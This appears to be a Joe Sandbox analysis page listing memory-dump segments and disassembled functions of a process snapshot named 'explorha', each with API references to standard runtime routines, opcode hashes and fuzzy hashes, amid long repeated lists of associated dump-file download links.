Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: bf7eba0387b85f89194f2c6d1383fa7abcce7a5f8779ec6cb6fb29766d1a1c8d
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: FD815B71E00629AFCB18DFA9C580A7DBBB2FF48304B2546ADE545AB705C770ED52CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B0E110 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B0E197

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: c29a6d41589ae75365bb2accfda12ff0725ad9c86fe652a8287e65f79f2bfa1f
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 1EB124329002959FDB16CF68C881BAEBFE5EF55340F1489EAE461EB381D634DD41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00B002D8 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B00311

Part of subcall function 00AFA5BF: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00AFA5E0

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00B00377
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00B0038F
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00B0039C

Part of subcall function 00AFFE3F: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00AFFE67
Part of subcall function 00AFFE3F: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00AFFEFF
Part of subcall function 00AFFE3F: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00AFFF09
Part of subcall function 00AFFE3F: Concurrency::location::_Assign.LIBCMT ref: 00AFFF3D
Part of subcall function 00AFFE3F: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00AFFF45

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 8fbfaead1c10b398495bdec1de3e31e659b0061c5babdb5838839955833d4cb8
Instruction ID: a1a730ad0bd980eef8b878389043775ac87e8040f205aa597003cfbb39ec16a3
Opcode Fuzzy Hash: 8fbfaead1c10b398495bdec1de3e31e659b0061c5babdb5838839955833d4cb8
Instruction Fuzzy Hash: 06516131A00205EBCF25EF50C995BAEBBB5EF44710F1541A9E9067B3D2CB71AE05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AEE227 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00AEE23A

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: ed6cfdec28a4fa9931df0907b2d30cc5f8cc31530e6b0a541ef258f4f5c77a84
Instruction ID: 25c640b35348d7ec0bc64cae816ceb468f39cb94a91bfd7359b570322eb91368
Opcode Fuzzy Hash: ed6cfdec28a4fa9931df0907b2d30cc5f8cc31530e6b0a541ef258f4f5c77a84
Instruction Fuzzy Hash: 2EB09232A164308789256B58BC0499D7718AA40B1130B0166D901A73248E202D425FE4

Uniqueness

Uniqueness Score: -1.00%

Function 00AEF436 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
